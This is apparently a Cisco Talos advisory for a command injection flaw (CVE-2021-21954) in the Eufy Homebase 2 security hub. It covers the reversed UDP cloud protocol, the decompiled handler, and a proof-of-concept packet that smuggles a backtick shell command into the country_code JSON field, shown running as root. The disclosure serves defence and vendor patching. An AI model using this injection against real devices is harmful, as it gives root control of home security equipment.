CVE-2021-21954
A command execution vulnerability exists in the wifi_country_code_update functionality of the home_security binary of Anker Eufy Homebase 2 2.1.6.9h. A specially-crafted set of network packets can lead to arbitrary command execution.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Anker Eufy Homebase 2 2.1.6.9h
Eufy Homebase 2 - https://us.eufylife.com/products/t88411d1
9.9 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)
The Eufy Homebase 2 is the video storage and networking gateway that enables the functionality of the Eufy Smarthome ecosystem. All Eufy devices connect back to this device, and this device connects out to the cloud, while also providing assorted services to enhance other Eufy Smarthome devices.
The Eufy Homebase 2’s home_security binary is a central cog in the device, spawning an inordinate amount of pthreads immediately after executing, each with their own little task. For the purposes of this advisory, we care solely about the pthread in charge of a particular cloud connectivity occurring with IP address 18.224.66.194 on UDP port 8006. An example of such traffic is shown below:
// device -> cloud
0000 58 5a fe b9 0b 00 00 00 59 5e 42 61 01 00 00 00 XZ......Y^Ba....
0010 00 00 01 00 54 38 30 31 30 4e 31 32 33 34 35 36 ....T8010N123456
0020 37 48 39 3A 00 789A.
This particular packet is the CMD_DEVICE_HEARTBEAT_CHECK, and the server’s response is seen below:
// cloud -> device response
0000 58 5a 32 b2 0b 00 1d 00 59 5e 42 61 01 00 01 00 XZ2.....Y^Ba....
0010 00 00 01 00 54 38 30 31 30 4e 31 32 33 34 35 36 ....T8010N123456
0020 38 48 39 3a 00 7b 22 64 65 76 69 63 65 5f 69 70 789a.{"device_ip
0030 22 3a 22 37 31 2e 31 36 32 2e 32 33 37 2e 33 34 ":"71.162.237.34
0040 22 7d "}
While there is some interesting information already visible, reversing the protocol and viewing with a decoder is much more informative:
[>_>] ---Pushpkt---
Magic : 0x5a58
CRC : 0x1234
Opcode : 0x000b (CMD_DEVICE_HEARTBEAT_CHECK)
Bodylen : 0x0000
Time (unix) : 1632154786
msg_ver : 0x0001
is_resp : 0x00
idk_lol : 0x00
idk_lol2 : 0x0000
non_zero : 0x0001
Hub SN : T8010N123456789a\x00
[<_<] response pkt:
[>_>] ---Pushpkt---
Magic : 0x5a58
CRC : 0x5678
Opcode : 0x000b (CMD_DEVICE_HEARTBEAT_CHECK)
Bodylen : 0x001d
Time (unix) : 1632154746
msg_ver : 0x0001
is_resp : 0x01
idk_lol : 0x00
idk_lol2 : 0x0000
non_zero : 0x0001
Hub SN : T8010N123456789a\x00
Msgbody : {"device_ip":"71.162.237.34"}
While this specific command doesn’t particularly do much, there does exist a decent amount of other opcodes to interact with:
opcode_dict = {
0xb : "CMD_DEVICE_HEARTBEAT_CHECK",
0xc : "CMD_DEVICE_GET_SERVER_LIST_REQUEST",
0xd : "CMD_DEVICE_GET_RSA_KEY_REQUEST",
0x22 : "CMD_SERVER_GET_AES_KEY_INFO",
0x3ea : "zx_app_unbind_hub_by_server",
0x3eb : "zx_start_stream",
0x3ec : "zx_stream_delete",
0x3f1 : "zx_set_dev_storagetype_by_SN",
0x40a : "APP_CMD_HUB_REBOOT",
0x410 : "zx_unbind_dev_by_sn",
0x464 : "APP_CMD_GET_EXCEPTION_LOG",
0x46d : "CMD_GET_HUB_UPGRADE",
0xbb8 : "turn_on_facial_recognition?",
0xfa0 : "wifi_country_code_update", // [1]
0xfa1 : "wifi_channel_update",
0x1388 : "CMD_SET_DEFINE_COMMAND_VALUE",
0x1770 : "CMD_SET_DEFINE_COMMAND_STRING"
}
For this advisory we’ll be discussing opcode 0xfa0, the wifi_country_code_update command [1]. It’s worth noting that this request does require authentication, but this can be achieved via one of the authentication bypass vulnerabilities that we’ve previously discovered (TALOS-2021-1379 and TALOS-2021-1380). Continuing on, this command’s code is very simple:
005a2f5c if (opcode_mb == 0xfa0)
005a4520 start_stream_ret = 1
005a4548 cjson = cJSON_Parse(&resppkt.msg) // [2]
005a4554 if (cjson == 0)
005a4670 some_str[0].d = 0x4f534a63
005a4674 some_str[4].d = 0x61505f4e
005a4678 some_str[8].d = 0x20657372
005a467c some_str[0xc].d = 0x66207369
005a4680 some_str[0x10].d = 0x756c6961
005a4690 some_str[0x14].w = 0x6572
005a469c char var_716_5 = 0
005a457c else
005a457c char* country_code = zx_Json_GetString(obj: cjson, string: "country_code", output_ptr: &tmp_json_ptr) // [3]
005a4594 if (country_code == 0)
005a4624 some_str[0].d = 'cJSO'
005a4628 some_str[4].d = 'N_Ge'
005a462c some_str[8].d = 'tStr'
005a4630 some_str[0xc].d = 'ing '
005a4634 some_str[0x10].d = 'fail'
005a4638 some_str[0x14].d = 'ure'
005a45b4 else
005a45b4 zx_set_nvram(0x79d738, country_code) {"CountryCode"}
005a45d8 zx_do_system(0x79d744, country_code) {"iwpriv ra0 set CountryCode=%s"} // [4]
005a45e4 start_stream_ret = 0
At [2], the server takes our packet’s data and parses it as a JSON, returning it into a cjson object. The value of the country_code field is then pulled out of this json at [3] and vsprintf‘ed directly into the "iwpriv ra0 set CountryCode=%s" string at [4] inside zx_do_system. Without going too much into the implementation of zx_do_system, it suffices to say that there is no sanitation inside, and the command provided is passed directly into a busybox shell, resulting in command injection as root. To see an example of this in action:
[>_>] ---Pushpkt---
Magic : 0x5a58
CRC : 0x1234
Opcode : 0x0fa0 (wifi_country_code_update)
Bodylen : 0x0028
Time (unix) : 1632328711
msg_ver : 0x0001
is_resp : 0x00
idk_lol : 0x00
err_code : 0x0000
non_zero : 0x0000
Hub SN (enc): [...]
Msgbody : {"country_code":"`touch /mnt/boop.txt`"} // [5]
[>_>] ---Pushpkt---
Magic : 0x5a58
CRC : 0x3456
Opcode : 0x0fa0 (wifi_country_code_update)
Bodylen : 0x0028
Time (unix) : 1632328711
msg_ver : 0x0001
is_resp : 0x01
idk_lol : 0x00
err_code : 0x0000
non_zero : 0x0000
Hub SN : [...]
At [5] we can clearly see the desired command injection, touch /mnt/boop.txt, and if we then look upon the device after the fact, we can see the created file:
BusyBox v1.12.1 (2020-12-08 19:52:46 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
# ls /mnt
DataDisk hk_setupcode.sh ocean.sh
FlashKeyValueStore.dat hub_time.dat zx_udp_push_config.ini
base_param.dat nv-simulation.bin
boop.txt nv-simulation.bin.bak
2021-09-28 - Vendor Disclosure
2021-11-22 - Vendor Patched
2021-11-29 - Public Release
Discovered by Lilith >_> of Cisco Talos.